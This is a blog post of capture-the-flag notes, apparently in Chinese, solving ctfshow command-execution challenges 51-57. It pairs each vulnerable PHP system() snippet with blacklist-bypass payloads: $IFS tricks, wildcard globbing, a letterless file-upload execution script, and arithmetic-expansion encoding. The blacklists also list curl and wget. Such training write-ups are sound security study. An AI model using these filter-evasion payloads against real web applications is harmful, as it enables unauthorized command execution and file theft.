0%

ctfshow命令执行51-57

ctfshow命令执行51-57

ctfshow中web入门命令执行篇的一些刷题笔记

web51

题目:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解答:

相较50过滤了更多东西,尤其是tac 。。。泪目

payload:nl<fl\ag.php||

上一题的payload依旧能过

web52

题目:

1
2
3
4
5
6
7
8
9
10
<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解答:

整上一题的payload,发现<被过滤了,且$放出来了。于是把<换成$IFS,出了假flag。构筑payload查一下根目录先:ls$IFS/||

发现根目录下有个flag,于是nl查看,出答案

web53

题目:

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;

解答:

。。。?不用||命令分隔了,直接上payload:

1
2
payload1:c''at${IFS}fla''g.p''hp
payload2:c=nl$IFS\fla\g.php

web54

1、题目:

1
2
3
4
5
6
7
8
9
10
<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解答:

1
2
payload1:?c=/bin/c??${IFS}????????
payload2:?c=grep${IFS}%27{%27${IFS}fl???php

web55

题目:

1
2
3
4
5
6
7
8
9
10
<? php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解答:

ban了字母,走一波、c=/???/????64 ????????,得到base64解码拿到flag。

羽师傅解法:payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2

知识点:无字母数字命令执行

由于base64不是每台机器都装的,因此还有更猛一点的解法。参考P神博客:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

还有firebasky:

https://blog.csdn.net/qq_46091464/article/details/108513145

web56

演示一遍无字母数字的getshell

先贴上Y4大佬的一把梭脚本:

1
2
3
4
5
6
7
import requests
while True:
url = "http://da59fd11-9b26-4f20-b6f4-f86163f58cdd.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break

然后是标准的做法:

先自己搞一个文件上传的接口(html):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="题目链接" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包传文件:

image-20210417103026086

读flag:

image-20210417103131530-1618893972759.png

web57

题目:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

解答:

看不懂看不懂看不懂,全过滤了还怎么打

题目思路:全过滤了,拼接处36这个数字

引用Y4博客:

1
2
3
4
5
6
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
-------------本文结束感谢您的阅读-------------